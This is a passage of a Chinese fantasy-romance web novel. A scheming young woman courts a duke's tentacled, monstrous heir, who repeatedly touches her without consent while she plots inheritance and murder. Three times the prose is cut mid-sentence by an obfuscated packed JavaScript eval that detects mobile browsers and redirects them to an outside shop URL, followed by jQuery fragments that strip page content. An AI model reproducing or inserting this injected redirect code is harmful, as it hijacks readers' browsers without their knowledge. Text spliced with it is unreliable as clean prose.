希瑟尔盯着她的脸颊,缓缓移开了右手,不再按着纸张。 见他还算听话,玛莲娜决定给予鼓励:“很好,五分钟之后,我们再贴一次额头。” 然而,她并没有发现,一根触腕从猩红变为雪白,悄无声息地从背后钻入她的衣领。 它猛地贴住了她的肌肤,疯狂汲取她的气息。 彻骨的冰寒覆上她的后颈,渗入每一节脊椎。 “呃!” 玛莲娜双肩一颤,蜷起脚趾,不由自主发出了一声低呼。 这一瞬间,温度的刺激过于强烈,险些夺走她的知觉。 危机感攥住了她的心脏,强迫她转头看向背后。 希瑟尔的左臂已然贴住她的后颈,被层层布料遮挡。 毫无尊重,不可容忍! 屈辱感缠绕住她的脖颈,几乎让她无法继续呼吸。 公爵之子把她当成什么了?他竟敢把手伸进她衣领里?她难道是任由他随意拿捏的玩物吗? 玛莲娜攥紧拳头,怒火中烧。 她还要哄他与自己结婚,当然不能直接扇他耳光。 她强迫自己冷静下来,严肃地望向公爵之子:“希瑟尔,这样做是不对的。” “我可以摸你的手,为什么不可以碰那里?” 他抬起右手,轻轻摩挲她紧锁的眉头,随后效仿她的神情,也蹙起了眉。 玛莲娜一时语塞。 这家伙还真是没有接受过什么正常的教导......亚兰公爵有毛病么?这么长时间,都不肯教育儿子? “公爵大人真的没有给你请过家庭教师?” “不需要。” 他的“左手”依旧紧贴着她的脊背。 玛莲娜深吸一口气,耐心地告诉他:“没有经过我的同意,你不可以触碰我衣料以下的地方。” 话音刚落,脖颈两侧传来推揉之感,冰冰凉凉的。 ......他根本没有在乎她的抗议! 玛莲娜抓住他的左臂:“你只是我的朋友,连情人都算不上,怎么可以做出这样的举动?” 希瑟尔的回应十分直接:“那就当情人。” “不行。” 她拒绝了他的提议,从衣服中使劲拽出他的手臂。 一根触足经过她的脚边,盘住了椅子腿,垫在她小腿肚子后方。 希瑟尔反过来箍住她的手腕。 玛莲娜伸出另一只手,试图掐住他的左臂。 他手臂异常硬实,皮肤又冰又滑,让她有些无从下手。 她摸索了一阵,挑中他小臂的内侧,用力按下。 希瑟尔似乎并未感觉到疼痛,依旧没有松开她。 底下那根触足也没闲着。 趁她的注意力还在手臂那里,它悄然钻入裙沿,环住了她的膝盖。 腿部传来一阵若有若无的挤压感,玛莲娜使劲蹬腿,又低下头检查,却是什么也没有发现。 她质问他:“刚才,你是不是偷偷踢了我一脚?” “不。” 他盯着她的脸颊,朝她展露出毫无情绪意义的微笑。 玛莲娜以为,希瑟尔是在挑衅自己。 “请你放开我的手。”她压制住内心的烦躁。 她讨厌这种感觉——他拥有自己的想法,不按照她的意愿行事,还不尊重她,甚至与她作对。 他的力气很大,即便她使出全力,也无法推开他。 与他相处的时候,她根本没有安全感。 第一次一起吃饭时,他不是挺听话的吗?现在怎么变得这么难缠了?难道是因为读了词典吗? 希瑟尔看着她的眼睛:“先前,你主动让我摸你的手。” 玛莲娜迅速调整好情绪,放柔了声音:“那是因为你之前表现好。” 希瑟尔缓缓松开了她的手腕。 “为什么不让我当你的情人?”他突然问她。 玛莲娜感到有些疲惫。他这个人真是奇怪,怎么莫名其妙转移了话题? 情人?她的目标是缔结婚约,继承公爵的财产,又不是当情人。 她故意朝他眨了一下眼睛,轻笑道:“我要你当我的丈夫,而不是情人。” 对于“丈夫”这个词汇,希瑟尔倒是没有什么特别的反应。 他告诉她:“我要当你的情人。” 玛莲娜撑着脸颊,无奈地叹了口气:“情人之间没有婚姻关系。” 希瑟尔语气平静:“妻子与丈夫之间,只需要婚姻关系,不需要亲密。我要亲密,不需要婚姻关系。” 他要贴近她,品尝她,掌控她的全部,最终将她吞食——这的确是他想要的亲密无间。 她总算是理解了他的逻辑:“妻子与丈夫之间,当然也能亲密。而且,这种亲密关系有婚姻作为保障,最为牢固。” 希瑟尔向她陈述事实:“不需要婚姻作为保障,我们的亲密关系依旧牢固。” 婚姻、丈夫、妻子是弱小的人类创造出的概念。 他会始终守着他的猎物,比丈夫更加可靠。 “我要成为你的情人,玛莲娜。” 玛莲娜觉得,自己是真的生气了。 她对他解释了那么多,基本相当于白费口舌? 情人,情人,情人!谁稀罕当他的情人! 她想要的是公爵的财产! 当然,她不可能对着他说出真实的理由。 玛莲娜直言道:“希瑟尔,以你现在的表现,我不会成为你的情人。” 公爵之子凝视着她的脸颊:“为什么?” 她没有解释,而是面带忧伤:“你碰我之前,根本不愿意向我征求同意。你这样做,让我觉得无比恶心。” 一根触腕从他的身侧伸了出来。 她竟然说,他令她感到恶心! 昨日,这个人类自愿接近他,触碰他。今天,她抵抗他的嗅闻,拒绝与他建立亲密的关系,丝毫没有身为猎物的自知之明。 他必须加重她的恐惧,让她认清自己的弱小,意识到反抗无用,最终向他献出一切。 吃了她...... 奇特的欲望再一次席卷躯体,让触腕兴奋到战栗。他需要与她贴得更紧,才能填补难以忍耐的空虚。 触腕在椅子底下膨胀、伸长,滑至她的脚后跟,下一秒就要将她牢牢捆住。 她突然抬起双臂,环住了他的脖子:“不过——” 柔软的唇瓣压住他的喉结顶部,又立即离开。 触腕猛然停滞在半空,末端微微震颤了一下。 他当然没有喉结,被亲吻的这一处是新生触足拟态出来的结构。它尚未长出红色鳞片,比其他触足更加敏感、脆弱。 翻腾的欲望在这一刻得到了安抚,莫名的满足感填补了巨大的空虚。 但是,还想要更多...... “只要你提前向我征求同意,我就会给你奖励。” 她捧住他的脸,望着他灰紫色的双眸,语气温柔。 他的喉结滚动了一下。 “我想碰碰你的手指,可以吗?” 希瑟尔盯住她的唇,像是在等待她给自己奖励。 “当然可以。” 玛莲娜松开他的脸颊,将左手搭在了他的膝盖之上。 紧接着,她又凑过去亲了一下他的额头。 希瑟尔握住玛莲娜的手指,放任触腕的尖端挤进她五指间的缝隙,贪婪地品尝她的气息。 一切都在他的掌控之下——只需用简简单单的一句话,就能看着她自愿献出左手。 也就是说,暂时无需让她感受到恐惧,他也可以达到目的。 玛莲娜用空闲的右手拿起新的一份文件,继续认真地阅读了起来。 晚上,到了洗澡睡觉的时候,希瑟尔跟在她身后,没有离开。 她严肃地提醒他:“你不是我的丈夫,不可以和我睡一起。” “你之前说过,情人可以睡一起。” 怎么又绕回情人和丈夫的区别了?她总觉得,他的脑子不太好使。 “我们不是情人关系。” “玛莲娜,我要当你的情人。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12943493|134975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “不行。” 希瑟尔告诉她:“你不想要我当你的情人,却要我当你的丈夫。你更想要婚姻关系,而不是亲密关系。” 玛莲娜深吸了一口气,压制住内心的烦闷。他总是这样直白,直白到令她恼火。 现在,她真的想把他捆起来,塞进麻袋。 她伪装成难过的模样:“那你呢,希瑟尔大人?你不肯当我的丈夫,只想当我的情人?你这样做,跟玩/弄女子的下/贱男人又有什么区别呢?” 就在她眨眼的瞬间,希瑟尔的瞳孔从圆形缩成一条细线,又以凡人难以察觉的速度恢复为正常的样子,仿佛刚才的转变并未发生过。 她竟敢蔑视他。 “你将我与那些低等人类相提并论?” 他手腕内侧裂开了一条缝隙。 一根触腕从中探出头,轻轻摇晃。 玛莲娜反问:“你也看不起那种男人,对吗?所以,你为什么要效仿他们的行为呢?” “不需要效仿,”希瑟尔的声音毫无温度,“他们不配。” “我要和你结婚。” 玛莲娜睁大眼睛,感到难以置信。 他的态度居然转变得这么快? 本来,她打算设计出一些欲擒故纵的戏码钓住他,让他自愿与她结婚。 甚至,今晚的挑衅,也是计划中的一环——她要疏远他,刺激他,再时不时接近他。她要勾起他的兴趣,却不让他得到任何满足。 还没等她出招,他就直接缴械投降了? 这也太荒谬了。 不过,荒谬归荒谬,只要能为自己争取到最大的利益,她何必过于纠结缘由? 玛莲娜扮演出欣喜若狂的样子,捂住了嘴巴:“太阳在上,希瑟尔,这怎么可能?我不是在做梦吧?你真的要娶我吗?” 她用力抱住希瑟尔,使劲用额头蹭了蹭他的脖颈。 腰部传来挤压感,她知道,他也抱住了自己。 而且,他抱得更紧。 “你很高兴。”希瑟尔的声音从头顶传来。 “是啊,我太高兴了。”这是实话。 “我也很高兴,玛莲娜。” 希瑟尔松开一只手臂,效仿她刚才的动作,掩住了自己的唇。 看着他古怪的举动,玛莲娜把脸埋进他的颈窝,闷笑了两声。 湿热的吐息刺激着新生的触足。 他的喉结快速向下滚动,仿佛是要逃离这片温暖之地。 不过......一秒之后,它又自己回到了原位。 她高兴的时候,会主动贴近他。 希瑟尔似乎领悟到了什么。 他拥着她,平静地重复道:“玛莲娜,我要和你结婚。” 玛莲娜蹭了蹭他的脖颈。 “我要和你结婚。”他再次重复了一遍。 玛莲娜眯起眼睛,伸手掐了一下他的腰。 在她视野的盲区,一条触腕模仿手臂的发力方式,迅速裹住了她的腰。 “我要和你结婚。”他收紧了触腕。 玛莲娜知道,口头承诺是最不靠谱的。 她推了推希瑟尔:“我必须写封信通知教会,请他们尽快为我们主持婚礼。信上需要你的签名,以及亚兰家族家主的印章。” 只有在圣职人员的见证下完婚,她与公爵之子的婚姻关系才真正合法。 希瑟尔跟着她回到书房,看着她写好信件。 他在最下方写上了自己的名字,字迹一板一眼,跟词典上的字体一模一样。 家主印章由祷术进行过改造,泛着金色光芒,具有防伪的效果。 完成这一切之后,玛莲娜将信件交给管家。 不知为何,管家也十分开心,蹦跳着离开了书房。 回卧室之前,她在希瑟尔脸颊上亲了一口。 “结婚之后,我们就可以睡一起了。晚安,希瑟尔。” 说完,她先一步钻进房间,锁住了木门。 希瑟尔站在门口,任由她将自己拒之门外。 不让他进卧室,又如何?她竟然以为,这扇门可以拦住他? 她的无知令他感到一丝莫名的愉悦。 他想要爬/她的床,并不需要她同意。 17. 第十七章 计划已经完成了一半,这让玛莲娜感到格外满足。夜色已深,她很快就进入了梦乡。 一根猩红色触腕悄无声息地爬上床铺。它们先是在她的被窝中潜伏了片刻,才缓慢地环住她的腰。 希瑟尔本可以直接调节鳞片的热度,但他现在更愿意享受她传递过来的温暖。 她的体温属于他。 他躺在玛莲娜身边,又伸出一根触腕。 触腕在被子底下呆了一会儿,才贴住她的脖颈。 她的呼吸也属于他。 第三根触腕搭在她左侧胸膛的上方。 这样一来,她的心跳也归他所有。 但是,远远不够。 第四根触腕用尖端轻碰她的唇角,悄悄挤进她的口中,抵住她的牙齿。 这里也是他的。 第五根触腕掀开一缕发丝,覆在她的额头之上。 可是这里......不属于他。 剩下的四根触腕从各处收回,堆挤在她枕头周围。 她不知道他的真实面目,他同样也无法猜出她所思所想。她哪一次微笑代表真正的高兴,哪一次又代表伪装的示好?虚假的微笑之下,她究竟在想什么? 她答应要告诉他“情人”的意思,却始终没有履行承诺。她主动接近他,却又一再推走他。她给他碰手指,却不给他碰脖颈。 他必须承认一个事实——这个猎物根本不受他掌控。 恼意冲击着他的意识,化为一股难以名状的强烈冲动,海潮般席卷每一根触腕。 似乎是急于证明他对她的完全征服,触腕隔着衣料,胡乱探索着她身体的多个角落。 玛莲娜在睡梦中低呼了一声,眉头紧蹙。 触腕卷着一块护符撤离被窝,动作接近于慌乱。 他低头看向护符。 这是什么东西,也配出现在他的眼前? 太阳护符碎裂成两半,失去了金色的光泽。 希瑟尔的目光扫过自己的触腕,定格在那枚最为瑰丽的红色鳞片之上。 鳞片被他硬生生扒了下来,露出一块淡粉色的缺口。随后,它拟态为太阳护符的模样,泛着金色光辉,与碎掉的那枚完全相同。 他将“护符”重新塞回她怀里,又用触腕圈住她。熟悉的气息带来一阵满足感,抚平了触腕的躁动。 希瑟尔盘在她床上守了许久,直到天明才离开。 ------------------------------------- 清晨醒来,玛莲娜觉得身上有点潮湿,立刻去洗了一次澡。 昨夜,她梦见了自己与希瑟尔的新婚之夜。 那场奇怪的梦境让她有些恼怒。不过,对方外貌条件优越,还与她有过一些肢体接触。夜有所梦,实属正常。 上午,她与母亲多萝西娅进行了一番商议。 首先,她们得判断哪些下属是“不可用”的。 她们列出名单,划去了一些名字,又拟出一份军官的名单。 中午,母女俩没工夫吃饭,草草啃了两块面包,接着处理事务。 “这五处账目有问题。”玛莲娜指着昨天阅读的文件,告诉母亲。 多萝西娅细细计算一番,点头认同:“的确不对。” “经过核算,阿斯特隆西南部孤儿院的拨款消失了整整五分之一。必须派人严查。” 玛莲娜拿着昨日的家主印章盖来盖去,假借希瑟尔的名义批准了好几份文件。大权在握的感觉实在是太爽了。 她顺便发号施令,通知公爵的所有部下,希瑟尔与她即将举办婚礼。 她要借着婚礼的机会公开亮相,向阿斯特隆的居民发放钱币,塑造自己的形象。 下午,桌面多出一份信件——夏尼克亲王向生病的公爵表示慰问。 夏尼克亲王...... 亲王之子的轻佻之言,亲王和公爵的谈话,无一不让玛莲娜感到愤怒。 在她与母亲的统领下,公爵府不可能继续与亲王开展合作。 她当然不准备在明面上与对方撕破脸。 玛莲娜决定,给亲王的敌人送情报。先前,她正好听到公爵给亲王提过建议,要联合教会骑士刺杀皇储卡琳公主。 写警告信,可以作为一种示好,表明公爵府与公主的合作意愿。至于情报是否有用,反而没有送信本身的意义重要。 虽然可以用祷术类道具加密情报,但为了防止信件被教会的人截获,她还是决定采用原始的方法——写下两封信,一封是加密过的内容,一封是对应的解法,分别派出不同的下属将其送往皇城。 忙完最重要的事务,多萝西娅将一枚戒指放到了书桌之上。 戒指上镶嵌的宝石散发着深蓝色的辉芒。翻转戒面,深蓝色转为银色,仿佛星光流淌。 美中不足的是,由于切割手法堪称简陋,宝石显得有些粗糙。 “这是公爵常戴的戒指,”多萝西娅告诉女儿,“就连睡觉的时候,他也舍不得将它取下。这么长时间以来,我只看到他摘下过一次。” 玛莲娜拿起戒指,手指不由自主一颤,一股亲切感从指尖流向心脏。她碰到它,就像是与久违的故人重逢。 她问母亲:“这到底是什么类别的宝石?我从来没见过。” “我也不太清楚。等等,我很久之前看到过它,让我想想......公爵夫人!对,十多年前,公爵夫人哈莫妮亚佩戴过这枚戒指。” 玛莲娜推断:“公爵一直戴着亡妻的戒指,难道是为了彰显怀念之情?不,如果他真的怀念亡妻,肯定不会公然把我们接到府邸。也许,这枚戒指发挥着什么重要的用途。” 说到此处,她叹了口气:“我总觉得这个宅子有些诡异。先前,侍女朵莉带我参观会客厅的时候,也是像迪耶戈那样突然发病。不过,她的症状要轻上许多,只是重复着‘公爵夫人死了’、‘血’之类的话语。” “公爵夫人......死......” 转瞬之间,多萝西娅的脸色变得惨白。 看着母亲的表情,不祥的预感涌上心头。 母亲与公爵夫人的死,到底有没有关系? 玛莲娜望着她的眼睛,恳切地问道:“妈妈,对于她的死,你知道多少?” 多萝西娅脸上闪过痛苦与愧疚:“她的死,大概是因为我。我从前是她的侍女。” 玛莲娜密切观察着母亲的神情,心中很不好受:“妈妈,其实你不用接着说下去——” 多萝西娅却没有停下:“你出生之后,公爵向我示爱,我没有拒绝。公爵夫人知道此事,再也没有公开露过面。她死于生下希瑟尔少爷的那一天,却并非死于难产,而是自杀。” “那一日,你失踪了,我到处找你。最后,他们在公爵夫人的遗体旁边找到了你!那时候,我还以为......她本来想用你惩罚我,却没忍心下手。” “今天听你说起朵莉,我才想到,也许朵莉与迪耶戈的怪病是某种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12964199|134975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 预兆。总之,都是我的错!如果我拒绝了公爵的示爱,夫人就不会恨我,乃至拿你来报复我。”母亲流下悔恨的泪水。 “或许,她对你下了诅咒。对不起,是我害了你!” 骤然得知秘辛,玛莲娜十分震惊,险些跌坐于椅中。 原先,她以为是油画存在着诡异之处。 没想到,诡异的源头,竟然是她自己! “不,不可能是诅咒。公爵夫人当过光明修女,为什么要背弃太阳,信奉邪恶的异端呢?而且,夫人为何不诅咒花心的丈夫,只诅咒我?”玛莲娜舌头有些打结,但还是尽力安慰母亲。 多萝西娅扶住额头,哽咽着说道:“夫人去世后,我主动离开了公爵府,还特地为你求来太阳神殿的护符。你平安长大,我以为一切都过去了......我不明白,受到诅咒的人,为什么不是我?” 玛莲娜勉强露出笑容:“妈妈,你不用担心我。之前发病的人,根本不是我。说不定,诅咒的假设是完全错误的。你看,我这不是还好好的么?” 她继续安慰母亲:“就算真的有诅咒,那又如何?首先,我会找办法解开它,其次,我还有护符傍身。即便解不开,我这十七年能与你共度,还能来公爵府干一番大事,真是太值了!” 多萝西娅凝望着玛莲娜的双眸,眼中泛着泪花:“总之,这枚戒指与公爵夫人息息相关,你先收着。” ------------------------------------- 刚结束与母亲的谈话,玛莲娜的思绪乱如麻绳。 无论是十六年前发生的事情,还是前些日子的风波,处处透露出怪异。 她手上毫无线索,到底应该从何处查起? 公爵夫人的戒指,又与她有何关系? 玛莲娜换了一套朴素的上衣裤子,来到公爵府的马厩。 这里的马匹品相极好,性情也很温顺。 马夫前来问候:“小姐,请问您有什么需要?” 她挑选了一匹白马,给它喂了一束胡萝卜。 忙了一整天,又遭受了一些打击,玛莲娜想上街散心,顺便在未来的统治地逛一逛。 她了解阿斯特隆的城市规划,却没实地考察过阿斯特隆,听说这座城市治安很不错。 玛莲娜带上几名护卫,骑马出发。 阳光穿透云层,照耀大地。她拉住缰绳,让白马放缓步伐,开始欣赏四周的风景。 在这悠闲的时刻,她突然察觉到一丝不对劲。 微妙的不安升上心头,宛若一根尖针,猛然刺破了祥和的表象。 背后似乎有东西盯着她,那感觉变得越来越强烈,以至于无法忽视。 她猛地回过头,却什么也没有发现。 身后是一片辽阔的草地,甚至没有灌木。如果真的有人跟踪她......跟踪者根本无处藏身。 她认真倾听了一阵,也没有听到什么异响。 “你们有没有发现其他人跟在后面?”她问护卫。 五名护卫同时转头看向她:“并未发现异常。” 说完,他们扭回脖子,平视前方,动作整齐划一。 玛莲娜掏出太阳护符,看见它仍然泛着金光,心中逐渐安定了下来。 不远处是热闹的居民区,居民区西侧还有一座太阳神殿。 比起策马返回诡异的公爵府,玛莲娜宁愿前往人多的地方。 想到此处,她策马加鞭,赶往居民区。 18. 第十八章 玛莲娜翻身下马,牵着缰绳一路向前步行。 她研究过阿斯特隆的行政规划,知道眼前这片居民区名叫林登伯格。 林登伯格太阳圣殿拥有五百年历史,是城中第二大圣殿。圣殿外墙贴有成片的浮雕,描绘着太阳普照众生、驱散邪恶异端的场景。 教会禁止信徒将太阳拟人化,仿佛“人”的形象对于太阳是一种玷污。浮雕中的太阳,依旧是一颗带有线形光芒的大球。 悠扬的钟声在圣殿上空回荡,具有洗涤心灵的力量。 数十位平民跪在雪白的台阶之下,等待黄昏的来临。 “伟大的太阳啊,请治愈我女儿的疾病吧!” “伟大的太阳,请保佑我生意长久。” 他们许下愿望,等待教士们播撒赐福。 玛莲娜站在神殿广场附近,旁观着教士向民众施展祝福祷术。 “你又把工钱全部捐给神殿了?”一位老妇跑到一名信徒身边,揪住了他的耳朵。 她继续骂道:“蠢东西!工钱没了,我们一大家子吃什么喝什么?我看你真是疯了,整天就知道在这里跪着!” 信徒捂住耳朵,呼叫不远处的教士:“妈妈,你疯了!离我远点......阁下,阁下!我妈妈的心灵受到了污染!” 教士闻声走来。 “女士,请您跟我来一趟。” 他施展祷术,在老妇面前画了个圈。 金圈箍住她的双手,迫使她跟在教士身后,朝神殿侧门走去。 片刻之后,老妇独自走出神殿。 她轻快地回到广场中央,缓缓地跪在了儿子身旁,脸上洋溢着幸福。 “伟大的太阳啊,请保佑我们一家顺遂平安!哈哈哈哈——伟大的太阳!” 四周,无人在意老妇的转变。 玛莲娜不动声色地离开了广场。公爵府护卫们整齐地跟在她身后,同样保持着沉默。 从小到大,她在神殿附近见过好几次类似的情景。某些平民并没有投靠异端,而是对太阳有点不敬。教士们不会动用火刑,而是愿意“温和”地感化他们。 教会的做法,让她感到不适。 玛莲娜总觉得,请光明教会协助调查公爵府邸的诡异事件,未必是上策。 也许,公爵知道过去的某些细节。可惜,多萝西娅已经给公爵下了毒,即便能解毒,对方也只能当一个痴傻的废人。 她一边想事情,一边牵马向前走。 路边有很多店铺,售卖来自各地的商品。 阿斯特隆普通商品的物价是南部边境城镇的两倍。虽然这里的食品相对便宜,但仅限于未加工的蔬菜水果肉类。餐馆内,菜品的价格并不低。 玛莲娜之前了解过,餐馆需要缴纳的税金达到了惊人的百分之二十,引来了居民的抱怨。 未来,她得参考民意,好好阅读文献,考虑改革方案。 就在她思考的时候,强烈的被窥视之感再一次将她笼罩。 玛莲娜悚然一惊,按住腰间的短剑,放慢了步伐。 四周的人依旧专注于手头之事。铁匠挥舞铁锤,为城中守军打造新的肩甲。农夫们用粗麻布套上没卖完的蔬菜,准备回家。孩童在街上互相追逐,发出尖利的笑声。 公爵府的护卫齐齐刹住了脚步,平视前方。 玛莲娜猛然回头,却看到了一个熟悉的面孔。 “希瑟尔?” 公爵之子孤零零立在街道中央,在夕阳下显得格外漂亮,甚至多了几分破碎的美感。 窥视她的人,是希瑟尔吗? 玛莲娜转过身:“你居然没有骑马?” 希瑟尔回答:“不需要。” “所以,你很早就来到城里了?” 虽然她有些怀疑跟踪者就是希瑟尔,但是......这种猜想并不符合常理。如果他步行跟在她的马匹后面,不可能这么快就到达城区。 希瑟尔沉默地凝视着她的面庞,迈开步伐,缓缓朝她走来。 “希瑟尔?” “......是,我白天一直在城里。” 话音刚落,他伸出双臂,主动拥住了她。 玛莲娜蹙眉:“你抱得太紧了。我都快喘不过气了。” 希瑟尔没有松开手臂。 他的声音极为平静:“整个白天,你都没有来花园找我。进城之前,你也没有告知我。” 玛莲娜心中很是不爽——多萝西娅都没这样管过她,他这是要干什么?不过,在结婚的节骨眼上,她不打算惹出任何矛盾。 她放柔了语气:“希瑟尔,你未曾通知我一声,就来到了这里,怎么可以反过来要求我报备行程呢?” 希瑟尔继续收紧双臂:“我要和你结婚。” 玛莲娜用手掌抵住他的胸口:“嗯,我们很快就可以完婚了。” 他沉默地望向她的眼睛,似乎在等待着什么。 玛莲娜问:“怎么了?” 希瑟尔垂首不语,用额头蹭了两下她的颈窝——先前,他对她重复“我要和你结婚”的时候,她就是这样回应的。 玛莲娜有些惊奇。这家伙难道是想对她撒娇么? 她的计划确实卓有成效。公爵的继承人像是被她迷住了。 但是,她心中没有多少成就感。 玛莲娜必须承认,希瑟尔很好骗,他的外表对她也有着一定的吸引力。然而,她在与他相处的时候,总觉得有些不安。 他的力气很大,身份远高于她,性格古怪,行为难以预测。 现在,她得以插手公爵府事务,全凭他默许。 假如在未来的某一日,他不再允许她插手公爵府事务......她需要怎样应对这种未知的风险? 最简单的方案,就是早点让他去世,彻底抹除这一隐患。 可是,他并没有伤害她。他母亲公爵夫人的死,甚至跟她的母亲有关。 她必须要杀死他吗? 玛莲娜将纷杂的情绪暂时抛到脑后,轻柔地抚摸着公爵之子背后的发丝,就像给猫狗顺毛:“别担心,我不会离开你。” 希瑟尔突兀地捧住她的脸颊,吻向她脖颈的中央——就像她昨日吻他“喉结”那样。 “等一下!” 玛莲娜表现出抗拒,伸手挡住了脖子。 他语气平淡:“为什么?” “这里是大路,公然做这种事,有失妥当。” “没有人注意到我们。” 路人确实都在埋头干自己的事,无人朝他们的方向转头。 玛莲娜耐心解释道:“我不愿意。单单这个理由,就已经足够了。” 希瑟尔盯着她的眼睛:“你说过要和我结婚。但是,你甚至不愿意贴近我。” 玛莲娜忍无可忍,却不能直接对他发怒。 她先是拉住他的手腕,带他来到一处无人的巷子。 希瑟尔任由她牵着。 玛莲娜转过头看向他,脸上挂着微笑,态度柔和:“和你结婚,不意味着要时时刻刻跟你亲近。况且,街上与私人房间完全不同。” “玛莲娜,你明明不高兴,”希瑟尔用指腹摩挲她的唇角,“可是,你为什么还在对我笑?” 他效仿她的神态,朝她展露出相同的微笑。 玛莲娜握住他的手指,感到有些疲惫:“不,我没有不高兴。倒是你……希瑟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12978518|134975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尔,你今天到底怎么了?你先前不是这样的。” 希瑟尔眸光微动:“我们不结婚了。我当你的情人,就够了。” 她心中一凛——他学精了,想试探她?在这种情况下,千万不能表露出任何讨好的意思。 玛莲娜不慌不忙:“不想结婚?好啊,那我今天就离开阿斯特隆,没必要继续留下来。再见了,希瑟尔。” 说完,她狠狠推了他一把,作势要挣脱他的怀抱。 “......我不会允许你离开。”希瑟尔依旧捧着她的脸。 玛莲娜无奈:“你不允许我离开?我有两条腿,随时可以走。” 希瑟尔放开她的脸颊,转而握住她的手指。 无妨,他的腿比她的多,总能追上她。 “你敢走,我就会一直跟着你。” 希瑟尔放肆地用触腕缠住她的腰部。 而玛莲娜搂着他的脖子,当然看不见腰上的触腕。 “走吧,我饿了,”玛莲娜叹息,“你想回府邸吃晚餐,还是在城里找一家餐馆?” 希瑟尔紧紧抱着她,没有立即给出回应。 饿…… 猩红触腕转瞬间变为白色,急切地钻入她上衣的边沿,贪婪地搜罗她的气息。 冰冷的鳞片突兀掠过她腰部的肌肤,给她带来了难以言喻的刺激。 玛莲娜的后腰险些痉挛。 她条件反射般挥出了巴掌。 “啪——” 清脆的耳光声在空气中震颤,宛如弹簧蹦起后留下的尾音。 玛莲娜将手掌背到身后,别过脸,装作无事发生。 她用了太大的劲,手心火辣辣的。 挨了重重的巴掌,希瑟尔会不会暴跳如雷呢? 无论如何,他纯属活该。 谁让他未经她同意,就随意触碰她的腰? 此时此刻,公爵之子的脸颊依旧雪白,没有挨打的痕迹。 他瞳孔变细了一瞬,又迅速恢复了正常。 希瑟尔微微启唇,要对她说些什么:“你——” 玛莲娜踮起脚,毫不留情地扒住他的发丝,用力吻上他的唇。 她就是要堵住希瑟尔的嘴,既是为了防止他说出不中听的话,也是为了淡化那一巴掌带来的负面影响。 关于如何接吻……她只在不入流的小说中了解过一些步骤,完全没有实战经验。 但这不妨碍她对生疏之事进行一番探索。 玛莲娜一点一点开垦这片陌生之地,竟然没有遇到阻碍。 她的舌尖刚抵住他的口腔,就被一团冰凉如雪的东西包裹。 待她适应这种低温,便迫不及待地搅开玫瑰的花瓣。 她的手指被他主动扣住,越缠越紧。 起初,玛莲娜换气不顺,险些呛到。所幸她很快就掌握了要领,越发如鱼得水。 大概是出于好胜心,又或许是出于对公爵之子地位的羡慕与恨意,她十分享受这种压制性的“亵玩”。 一开始,希瑟尔任由她尽情采撷。 待她兴致逐渐消退,他竟然反客为主,变本加厉地缠裹她的唇齿。 玛莲娜察觉到他的意图,不愿让他得逞,直接一口咬了下去。 她手上也没闲着,朝他腿侧拧了一把,用以报复他先前的触碰。 希瑟尔的动作猛然停顿——这里的鳞片,昨夜才被他扒掉了一片。 她刚才捏的那一处,正是缺少鳞甲保护的地带,脆弱而敏感…… 希瑟尔不再吻她,而是直直地盯着她,一言不发。 玛莲娜坦然地与他对视,眨了一下眼睛,伸出食指,挑衅般地戳了戳那块地方。 19. 第十九章 玛莲娜戳得指尖生疼——希瑟尔肌肉紧实,略带弹力。 希瑟尔攥住她的手腕,强行制止她进行下一步的动作。 玛莲娜故意问他:“你生气了吗?” 没等他回答,她继续道:“你随意触碰我的身体,冒犯了我,让我很生气。对于你来说,被冒犯的滋味究竟如何?” 希瑟尔瞳孔变细了一瞬,随即恢复如初。 他的声音十分动听:“被你随意触碰,我的感觉很......奇特。” “玛莲娜,你不能碰我的腿,但是你可以碰这里。” 希瑟尔侧过头,引导她看向自己的半边脸颊:“就像之前那样。” 玛莲娜顿时语塞——他到底是在嘲讽她,还是真心想让她赐予耳光? 她打他的脸,是为了表明拒绝的态度,而不是要奖励他。 刚才,她竟然怀揣一丝希望,妄想自己可以纠正他的行为!她差点忘了,公爵之子根本没有接受过正常人的教育。 等一下,她为什么要费力纠正希瑟尔呢? 结婚之后,她找个时机杀死他就可以了,根本不需要改变他。 难道......她其实心存期望,试图将他塑造成一个温顺的好丈夫,以此说服自己留他一命么? 不,她既然已经做下了决定,又怎能优柔寡断? 上一次,她也尝试纠正希瑟尔,甚至晓之以理,请他尊重她。 今天,他依然没有表现出对她的尊重。 公爵之子与那些践踏她的上位者又有多少不同呢? 想到这里,玛莲娜彻底换上微笑的假面:“真是抱歉啊,我碰了不该碰的地方。现在,你也饿了吧?今天晚上想吃什么?我带你去找餐馆。” 希瑟尔似乎在认真观察她的神情,鲜少眨动双眼。 